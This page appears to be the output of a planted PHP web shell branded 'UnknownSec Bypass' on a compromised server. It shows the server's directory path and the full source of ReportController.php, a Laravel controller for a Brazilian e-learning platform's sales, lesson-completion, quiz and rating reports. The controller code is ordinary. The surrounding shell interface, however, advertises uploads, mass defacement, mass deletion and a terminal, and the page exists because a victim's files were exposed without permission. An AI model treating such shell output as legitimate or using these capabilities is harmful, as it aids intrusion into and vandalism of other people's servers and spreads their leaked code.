UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
eagleead
/
app
/
Http
/
Controllers
/
Admin
/
Report
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
ReportController.php
<?php namespace EstudioLMS\Http\Controllers\Admin\Report; use Carbon\Carbon; use EstudioLMS\Base\ResponseBuilder; use EstudioLMS\Helpers\GetDataRecords; use EstudioLMS\Helpers\Helpers; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Http\Requests\Admin\Reports\SalesRequest; use EstudioLMS\Repositories\Auth\UserRepository; use EstudioLMS\Repositories\Courses\Course\CourseRepository; use EstudioLMS\Repositories\Courses\Course\CourseResourceRepository; use EstudioLMS\Repositories\Courses\Course\ModuleRepository; use EstudioLMS\Repositories\Courses\CourseRatingInterface; use EstudioLMS\Repositories\Courses\Resources\QuizInterface; use EstudioLMS\Repositories\Environment\HiredCourseRepository; use EstudioLMS\Repositories\Environment\Quiz\QuizAttemptInterface; use EstudioLMS\Repositories\Environment\RecordRepository; use EstudioLMS\Repositories\Financial\HiringInterface; use EstudioLMS\Services\Admin\ConfigurationServices; use EstudioLMS\Services\Environment\CourseService; use EstudioLMS\Services\Environment\QuizService; use EstudioLMS\Services\Environment\StudentService; use EstudioLMS\Repositories\Group\GroupRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Request as RequestFacade; use Illuminate\Translation\Translator; use mjanssen\BreadcrumbsBundle\Breadcrumbs; /** * Class ReportController * @package EstudioLMS\Http\Controllers\Admin\Report */ class ReportController extends Controller { /** * @var Translator */ private $translator; /** * @var Breadcrumbs */ private $breadCrumb; /** * @var ResponseBuilder */ private $responseBuilder; /** * @var UserRepository */ private $userRepository; /** * @var CourseRepository */ private $courseRepository; /** * @var RecordRepository */ private $recordRepository; /** * @var CourseResourceRepository */ private $courseResourceRepository; /** * @var CourseService */ private $courseService; /** * @var HiredCourseRepository */ private $hiredCourseRepository; /** * @var ConfigurationServices */ private $configurationServices; /** * @var HiringInterface */ private $hiring; /** * @var CourseRatingInterface */ private $courseRating; /** * @var GroupRepository */ private $groupRepository; /** * ReportController constructor. * @param ResponseBuilder $responseBuilder * @param Translator $translator * @param Breadcrumbs $breadCrumb * @param UserRepository $userRepository * @param CourseRepository $courseRepository * @param RecordRepository $recordRepository * @param CourseResourceRepository $courseResourceRepository * @param CourseService $courseService * @param HiredCourseRepository $hiredCourseRepository * @param ConfigurationServices $configurationServices * @param HiringInterface $hiring * @param CourseRatingInterface $courseRating * @param GroupRepository $groupRepository */ public function __construct( ResponseBuilder $responseBuilder, Translator $translator, Breadcrumbs $breadCrumb, UserRepository $userRepository, CourseRepository $courseRepository, RecordRepository $recordRepository, CourseResourceRepository $courseResourceRepository, CourseService $courseService, HiredCourseRepository $hiredCourseRepository, ConfigurationServices $configurationServices, HiringInterface $hiring, CourseRatingInterface $courseRating, GroupRepository $groupRepository ) { $this->middleware('admins'); $this->responseBuilder = $responseBuilder; $this->translator = $translator; $this->breadCrumb = $breadCrumb; $this->userRepository = $userRepository; $this->courseRepository = $courseRepository; $this->recordRepository = $recordRepository; $this->courseResourceRepository = $courseResourceRepository; $this->courseService = $courseService; $this->hiredCourseRepository = $hiredCourseRepository; $this->configurationServices = $configurationServices; $this->hiring = $hiring; $this->courseRating = $courseRating; $this->groupRepository = $groupRepository; } /** * @param Request $request * @return mixed */ public function sales(Request $request) { $env = 'reports'; $title = 'Relatório de Vendas'; $data = $request->all(); $this->breadCrumb->addBreadcrumb('Dashboard', route('admin.index')); $this->breadCrumb->addBreadcrumb('Relatório de Vendas', route('admin.reports.sale')); $bread = $this->breadCrumb->generate(); $courses = ['' => 'Escolha o Curso'] + $this->courseRepository->all()->lists('name', 'id')->toArray(); $teachers = ['' => 'Escolha o Professor'] + $this->userRepository->allInstructors()->lists('name', 'id')->toArray(); /* When query fields are empty or null */ if (empty($data['date_initial']) && empty($data['date_final'])) { $data['date_initial'] = new Carbon('first day of this month'); $data['date_final'] = new Carbon('last day of this month'); } $data['course_id'] = !isset($data['course_id']) ? 0 : $data['course_id']; $data['teacher_id'] = !isset($data['teacher_id']) ? 0 : $data['teacher_id']; /* Getting data */ $salesData = $this->hiring->reportData( $data['course_id'], $data['teacher_id'], $data['date_initial'], $data['date_final'] ); /* Return date fields in the correct format to view */ if (!empty($data['date_initial'])) { $data['date_initial'] = Carbon::createFromFormat('Y-m-d H:i:s', $data['date_initial']) ->format('d/m/Y'); } if (!empty($data['date_final'])) { $data['date_final'] = Carbon::createFromFormat('Y-m-d H:i:s', $data['date_final']) ->format('d/m/Y'); } $config = $this->configurationServices->configuration(); $perc = floatval($config->teacher_kickback); foreach ($salesData as $key => $sale) { if ($sale->gross_amount > 0) { $tkcbk = ($perc * ($sale->gross_amount - $sale->shipping_amount)) / 100; $tkcbk = floor($tkcbk * 100) / 100; $sale->teacher_value = $tkcbk; /*$sale->gross_amount = $sale->gateway_id !== 'Internal' ? $sale->gross_amount + $sale->discount_amount : $sale->gross_amount;*/ } else { $sale->teacher_value = 0.00; } } unset($data['_token']); return $this->responseBuilder->render( 'admin.reports.sales', [], compact('title', 'env', 'bread', 'data', 'courses', 'teachers', 'salesData') ); } /** * @param SalesRequest $request * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector */ public function salesFilter(SalesRequest $request) { $data = $request->all(); if (!empty($data['date_initial'])) $data['date_initial'] = Carbon::createFromFormat('d/m/Y', $data['date_initial'])->format('Y-m-d 00:00:00'); if (!empty($data['date_final'])) $data['date_final'] = Carbon::createFromFormat('d/m/Y', $data['date_final'])->format('Y-m-d 23:59:59'); unset($data['_token']); $route = route('admin.reports.sale', $data); return redirect($route); } /** * @return mixed */ public function lessonsCompletedFilter(Request $request) { $env = 'reports'; $title = 'Relatório de Lições Completas por Curso'; $data = $request->all(); $this->breadCrumb->addBreadcrumb('Dashboard', route('admin.index')); $this->breadCrumb->addBreadcrumb('Relatório de Lições Completas por Curso', route('admin.reports.lessons-completed')); $bread = $this->breadCrumb->generate(); $courses = ['' => 'Selecione o Curso'] + $this->courseRepository->withTrashed()->all()->lists('name', 'id')->toArray(); $selectedCourse = $data['course_id'] ?? ''; $groups = ['' => 'Selecione o Grupo/Turma'] + collect($this->groupRepository->allPublishedGroups())->pluck('name', 'id')->toArray(); $selectedGroup = isset($data['group_id']) ? $data['group_id'] : ''; $students = ['' => 'Sem alunos']; $selectedStudent = isset($data['student_id']) ? $data['student_id'] : ''; $studentsSummary = collect([]); $courseName = 'Não selecionado'; $groupName = 'Não selecionado'; $studentsPaginated = collect([]); $paginationData = [ 'hasPages' => false, 'total' => 0, 'startPage' => 1, 'endPage' => 1, 'currentPage' => 1, 'queryParams' => [] ]; if (!empty($data['course_id'])) { $courseName = DB::table('courses')->where('id', $data['course_id'])->select('name')->first()->name; if (!empty($data['group_id'])) { $groupName = DB::table('groups')->where('id', $data['group_id'])->select('name')->first()->name; $students = $this->courseStudentsByGroup($selectedCourse, $selectedGroup, $selectedStudent); } else { $students = $this->courseService->courseStudents($selectedCourse, $selectedStudent); } // Preparar dados para paginação $allStudentsSummary = collect([]); foreach ($students as $student) { $summary = $this->courseStudentSummary($student->id, $data['course_id']); $groupNames = $this->getStudentGroups($student->id); $allStudentsSummary->push([ 'id' => $student->id, 'name' => $student->name, 'email' => $student->email, 'groups' => $groupNames, 'completed' => $summary[0]['completed'], 'incompleted' => $summary[0]['incompleted'] ]); } // Implementar paginação manual para Laravel 5.1 $currentPage = Input::get('page', 1); $perPage = 50; $total = $allStudentsSummary->count(); $offset = ($currentPage - 1) * $perPage; $studentsSummary = $allStudentsSummary->slice($offset, $perPage)->values(); // Usar Collection simples em vez de LengthAwarePaginator $studentsPaginated = $studentsSummary; // Criar dados de paginação manual $lastPage = ceil($total / $perPage); $currentUrl = RequestFacade::url(); $queryParams = Input::except('page'); // Calcular páginas visíveis (máximo 5) $startPage = max(1, $currentPage - 2); $endPage = min($lastPage, $currentPage + 2); $paginationData = [ 'total' => $total, 'perPage' => $perPage, 'currentPage' => $currentPage, 'lastPage' => $lastPage, 'startPage' => $startPage, 'endPage' => $endPage, 'from' => ($currentPage - 1) * $perPage + 1, 'to' => min($currentPage * $perPage, $total), 'hasPages' => $total > $perPage, 'hasMorePages' => $currentPage < $lastPage, 'previousPageUrl' => $currentPage > 1 ? $currentUrl . '?' . http_build_query(array_merge($queryParams, ['page' => $currentPage - 1])) : null, 'nextPageUrl' => $currentPage < $lastPage ? $currentUrl . '?' . http_build_query(array_merge($queryParams, ['page' => $currentPage + 1])) : null, 'queryParams' => $queryParams ]; if (!empty($data['group_id'])) { $students = ['' => 'Selecione o Aluno'] + collect($this->courseStudentsByGroup($selectedCourse, $selectedGroup))->pluck('name', 'id')->toArray(); } else { $students = ['' => 'Selecione o Aluno'] + collect($this->courseService->courseStudents($selectedCourse))->pluck('name', 'id')->toArray(); } } return view( 'admin.reports.students-lessons-completed', compact('courses', 'selectedCourse', 'groups', 'selectedGroup', 'students', 'selectedStudent', 'studentsPaginated', 'paginationData', 'courseName', 'groupName', 'title', 'env', 'bread') ); } /** * @param $studentId * @param $courseId * @return string */ public function courseStudentSummary($studentId, $courseId) { $config = $this->configurationServices->configuration(); $onlyAvailable = $config->count_only_enabled_resources; $totalWatched = $this->courseService->totalWatchedLessons($studentId, $courseId); $totalLessons = $this->courseService->totalCourseLessons($courseId, $onlyAvailable); $percentWatched = 0; if ($totalWatched > 0 && $totalLessons > 0) { $percentWatched = intval(($totalWatched * 100) / $totalLessons); $percentWatched = min($percentWatched, 100); } $percentNotWatched = 100 - $percentWatched; $report[] = [ 'completed' => number_format($percentWatched, 2) . '%', 'incompleted' => number_format($percentNotWatched, 2) . '%', ]; return $report; } /** * @return mixed */ public function averagesReport(Request $request) { $env = 'reports'; $title = 'Relatório de Notas dos Questionários'; $data = $request->all(); $this->breadCrumb->addBreadcrumb('Dashboard', route('admin.index')); $this->breadCrumb->addBreadcrumb('Notas dos Questionários', route('admin.reports.average')); $bread = $this->breadCrumb->generate(); $selectedCourse = $data['course_id'] ?? ''; $students = ['' => 'Nenhum estudante']; $selectedStudent = $data['student_id'] ?? ''; $results = null; $courses = ['' => 'Escolha o curso'] + $this->courseService->listsAllCoursesWithQuizz(); if (!empty($selectedCourse)) { $loopStudents = $this->courseService->courseStudents($selectedCourse); $students = ['' => 'Escolha um Aluno'] + $loopStudents->lists('name', 'id')->toArray(); $results = $this->courseService->getAllAttemptsOfEvaluationsWithAverageByCourse($selectedCourse, $selectedStudent, false); } $results = collect($results); //dd($results); $results = Helpers::paginate($results, 10, request('page')); return view('admin.reports.averages.report', compact('teachers', 'selectedTeacher', 'courses', 'selectedCourse', 'results', 'students', 'selectedStudent', 'env', 'bread', 'title') ); } /** * @return mixed */ public function listTeachersAPI() { return $this->userRepository->allInstructors(); } /** * @param int $userId * @return array|CourseService|mixed */ public function listCoursesAPI($userId = 0) { //return $this->courseRepository->showCourseList(false)->get(); return $this->courseService->allCoursesByTeacher($userId); } /** * @param $courseId * @return mixed */ public function listStudentsAPI($courseId) { return $this->hiredCourseRepository->getHiredCoursesWithStudentData($courseId)->get(); } /** * @param $courseId * @param $userId * @return mixed */ public function averageAPI($courseId, $userId) { return $this->courseService->getAllAttemptsOfEvaluationsWithAverageByCourse($courseId, $userId); } /** * @param Request $request * @return array */ public function resetLastAttempt(Request $request) { $data = $request->all(); return $this->courseService->resetLastAttempt($data['quiz_attempt_id']); } /** * @param Request $request * @return string */ public function reportQuizFeedback(Request $request) { $data = $request->all(); $quizAttempt = app(QuizAttemptInterface::class); $feedback = $quizAttempt->with(['summary', 'details.questions.answers'])->find($data['id']); $quiz = app(QuizInterface::class)->find($feedback->resource_id); return view('ambiente.student.reports.quiz.feedback', compact('quiz', 'feedback'))->render(); } /** * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\View\View */ public function reportCourseRating(Request $request) { $data = $request->all(); $env = 'reports'; $title = 'Relatório de Avaliações de Curso'; $this->breadCrumb->addBreadcrumb('Dashboard', route('admin.index')); $this->breadCrumb->addBreadcrumb($title, route('admin.reports.average')); $bread = $this->breadCrumb->generate(); $courses = ['' => 'Selecione o Curso'] + $this->courseRepository->showCourseListing()->toArray(); $selectedCourse = null; $ratings = null; $average = 0; if (!empty($data['course_id'])) { $selectedCourse = $data['course_id']; $ratings = $this->courseRating->with(['user']) ->findWhere([ ['course_id', '=', $selectedCourse] ]); if (count($ratings) > 0) { $factor = count($ratings); foreach ($ratings as $rating) { $average += $rating->rating; } $average = $average / $factor; } } return view('admin.reports.ratings.report', compact('env', 'title', 'bread', 'courses', 'ratings', 'selectedCourse', 'average')); } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\View\View */ public function reportCourseResultsAllStudents(Request $request) { $env = 'reports'; $title = 'Relatório de Avaliações de Curso'; $this->breadCrumb->addBreadcrumb('Dashboard', route('admin.index')); $this->breadCrumb->addBreadcrumb($title, route('admin.reports.average')); $bread = $this->breadCrumb->generate(); $courses = ['' => 'Selecione o Curso'] + $this->courseRepository->showCourseListing()->toArray(); $rows = null; $selectedCourse = null; $data = $request->all(); if (!empty($data['course_id'])) { $courseId = $data['course_id']; $students = $this->hiredCourseRepository->getHiredCoursesWithStudentData($courseId)->get()->lists('id')->toArray(); $selectedCourse = $courseId; $rows = app(CourseService::class) ->getAllAttemptsOfEvaluationsWithAverageByCourseAllStudents($courseId, $students); $rows = Helpers::paginate($rows, 5, \request('page')); } return view('admin.reports.ratings.report-all', compact('env', 'title', 'bread', 'rows', 'courses', 'selectedCourse')); } /** * @param $courseId * @param $groupId * @param $studentId * @return \Illuminate\Support\Collection */ private function courseStudentsByGroup($courseId, $groupId, $studentId = null) { $query = DB::table('hired_courses AS hc') ->join('courses AS c', 'hc.course_id', '=', 'c.id') ->join('users AS u', 'hc.user_id', '=', 'u.id') ->join('group_user AS gu', 'u.id', '=', 'gu.user_id') ->where('hc.course_id', $courseId) ->where('gu.group_id', $groupId) ->whereIn('hc.status', [3, 4]) // Status ativo ->whereNull('u.deleted_at'); if (!empty($studentId)) { $query = $query->where('hc.user_id', $studentId); } $results = $query->select('u.id AS id', 'u.name AS name', 'u.email AS email') ->distinct() ->get(); return collect($results); } /** * @param Request $request * @return \Symfony\Component\HttpFoundation\StreamedResponse */ public function lessonsCompletedExportCsv(Request $request) { $data = $request->all(); if (empty($data['course_id'])) { return redirect()->back()->with('error', 'É necessário selecionar um curso para exportar.'); } $courseName = DB::table('courses')->where('id', $data['course_id'])->select('name')->first()->name; $groupName = 'Todos os Grupos'; $studentName = 'Todos os Alunos'; // Aplicar filtros da mesma forma que no relatório principal $selectedCourse = $data['course_id']; $selectedGroup = isset($data['group_id']) ? $data['group_id'] : ''; $selectedStudent = isset($data['student_id']) ? $data['student_id'] : ''; if (!empty($data['group_id'])) { $groupName = DB::table('groups')->where('id', $data['group_id'])->select('name')->first()->name; $students = $this->courseStudentsByGroup($selectedCourse, $selectedGroup, $selectedStudent); } else { $students = $this->courseService->courseStudents($selectedCourse, $selectedStudent); } // Se um aluno específico foi selecionado, obter o nome dele if (!empty($selectedStudent)) { $studentData = DB::table('users')->where('id', $selectedStudent)->select('name')->first(); if ($studentData) { $studentName = $studentData->name; } } // Preparar dados para exportação $exportData = collect([]); foreach ($students as $student) { $summary = $this->courseStudentSummary($student->id, $data['course_id']); $groupNames = $this->getStudentGroups($student->id); $exportData->push([ 'Nome do Aluno' => $student->name, 'E-mail do Aluno' => $student->email, 'Grupo/Turma' => $groupNames ?: 'Sem grupo', 'Percentual de Conclusão' => $summary[0]['completed'], 'Percentual Restante para Conclusão' => $summary[0]['incompleted'] ]); } // Criar nome do arquivo baseado nos filtros aplicados $filename = 'relatorio_licoes_completas_' . str_slug($courseName); if (!empty($selectedGroup)) { $filename .= '_grupo_' . str_slug($groupName); } if (!empty($selectedStudent)) { $filename .= '_aluno_' . str_slug($studentName); } $filename .= '_' . date('Y-m-d_H-i-s') . '.csv'; $headers = [ 'Content-Type' => 'text/csv; charset=UTF-8', 'Content-Disposition' => 'attachment; filename="' . $filename . '"', 'Pragma' => 'no-cache', 'Cache-Control' => 'must-revalidate, post-check=0, pre-check=0', 'Expires' => '0' ]; $callback = function() use ($exportData, $courseName, $groupName, $studentName) { $file = fopen('php://output', 'w'); // Adicionar BOM para UTF-8 fprintf($file, chr(0xEF).chr(0xBB).chr(0xBF)); // Cabeçalho do relatório fputcsv($file, ['Relatório de Conclusão do Curso: ' . $courseName], ';'); fputcsv($file, ['Grupo/Turma: ' . $groupName], ';'); fputcsv($file, ['Aluno: ' . $studentName], ';'); fputcsv($file, ['Emitido em: ' . date('d/m/Y H:i:s')], ';'); fputcsv($file, [''], ';'); // Linha em branco // Cabeçalhos das colunas if (!$exportData->isEmpty()) { fputcsv($file, array_keys($exportData->first()), ';'); // Dados foreach ($exportData as $row) { fputcsv($file, array_values($row), ';'); } } fclose($file); }; return response()->stream($callback, 200, $headers); } /** * @param $studentId * @return string */ private function getStudentGroups($studentId) { try { $groups = DB::table('group_user AS gu') ->join('groups AS g', 'gu.group_id', '=', 'g.id') ->where('gu.user_id', $studentId) ->where('g.published', 1) ->select('g.name') ->get(); if (empty($groups) || count($groups) === 0) { return ''; } return collect($groups)->pluck('name')->implode(', '); } catch (\Exception $e) { return ''; } } }
Copyright © 2026 - UnknownSec